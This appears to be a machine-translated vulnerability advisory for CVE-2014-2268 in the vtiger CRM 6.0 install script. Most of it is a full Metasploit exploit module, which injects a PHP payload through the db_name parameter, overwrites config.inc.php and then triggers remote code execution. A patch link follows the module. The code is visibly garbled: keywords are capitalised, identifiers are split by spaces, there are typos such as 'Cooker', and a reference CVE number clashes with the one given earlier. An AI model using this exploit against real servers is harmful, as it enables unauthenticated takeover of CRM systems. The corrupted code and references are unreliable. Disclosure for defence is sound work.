Vtiger CRM Remote Code Execution Vulnerability

Release date:
Updated on:

Affected Systems:
Vtiger CRM 6.0
Vtiger CRM
Description:
--------------------------------------------------------------------------------
Bugtraq id: 66758
CVE (CAN) ID: CVE-2014-2268
 
Vtiger CRM is a free open-source customer relationship management software.
 
The installation script of vtiger CRM 6.0 and other versions has the arbitrary command execution vulnerability. Unauthenticated attackers submit the vulnerability to index using the "db_name" parameter. if php script input is not effectively filtered, this vulnerability can be triggered, allowing remote attackers to execute arbitrary commands.
 
<* Source: Jonathan

Link: http://www.exploit-db.com/exploits/32794/
Http://osvdb.org/show/osvdb/105641
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
##
# This module requires Metasploit: http // metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

Require 'msf/core'

Class Metasploit3 <Msf: Exploit: Remote

# Application database configuration is overwritten
Rank = ManualRanking

Include Msf: Exploit: Remote: HttpClient

Def initialize (info = {})
Super (update_info (info,
'Name' => 'vtiger Install Unauthenticated Remote Command Execution ',
'Description' => % q {
This module exploits an arbitrary command execution vulnerability in
Vtiger install script. This module is set to ManualRanking due to this
Module overwriting the target database configuration, which may result in
A broken web app, and you may not be able to get a session again.
},
'Author' =>
[
'Jonathan Borgeaud <research [at] navixia.com> '# Navixia Research Team
],
'License '=> MSF_LICENSE,
'References '=>
[
['Cve', '2017-2014 '],
['Url', 'https: // URLs,
['Url', 'HTTP: // URLs,

],
'Privileged' => false,
'Platform' => ['php'],
'Payload' =>
{
'Space' => 4000,
'Badchars' => "#",
'Disablenops' => true,
'Keys' => ['php']
},
'Arch '=> ARCH_PHP,
'Targets' => [['vtiger 6.0.0 or older', {}],
'Disclosuredate' => 'mar 5 2014 ',
'Defaulttarget' => 0 ))

Register_options (
[
OptString. new ('targeturi ', [true, 'the base path to vtider','/'])
], Self. class)
End

Def exploit
Print_status ("Injecting payload ...")
Rand_arg = Rex: Text. rand_text_hex (10)
Res = send_request_cgi ({
'Method' => 'get ',
'Uri' => normalize_uri (target_uri.path, 'index. php '),
'Headers' => {'x-Requested-with' => rand_text_alpha (5 )},
'Vars _ get' => {
'Module' => 'install ',
'View' => 'index ',
'Mode' => 'step5 ',
'Db _ name' => "127.0.0.1 '; if (isset ($ _ GET [' # {rand_arg} ']) {# {payload. encoded }}//"
}})

# Check timeout
If not res
Print_error ("Request timed out, please try again ")
Return
End

If res. body = ~ /Name = "auth_key" \ s + value = ".*? ((? : [A-z0-9] *) "/I
Authkey = $1
Phpsessid = res. get_cookies

If authkey. blank?
Print_error ("No AuthKey found ")
Return
Elsif phpsessid. blank?
Print_error ("No PHP Session ID found ")
Return
End

Print_status ("Retrieved Authkey: # {authkey }")
Print_status ("Retrieved PHPSESSID: # {phpsessid }")

Send_request_cgi ({
'Method' => 'get ',
'Uri' => normalize_uri (target_uri.path, 'index. php '),
'Headers' => {'x-Requested-with' => rand_text_alpha (5 )},
'Cooker' => phpsessid,
'Vars _ get' =>
{
'Module' => 'install ',
'View' => 'index ',
'Mode' => 'step7 ',
'Auth _ key' => authkey
}
})

Print_status ("Executing payload ...")
Send_request_cgi ({
'Method' => 'get ',
'Uri' => normalize_uri (target_uri.path, 'config. inc. php '),
'Vars _ get' =>{ rand_arg => '1 '}
})
Else
Print_error ("No auth_key pattern found ")
End
End
End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
 
Vtiger
------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
 
Http://vtiger-crm.2324883.n4.nabble.com/Vtigercrm-developers-IMP-forgot-password-and-re-installation-security-fix-tt9786.html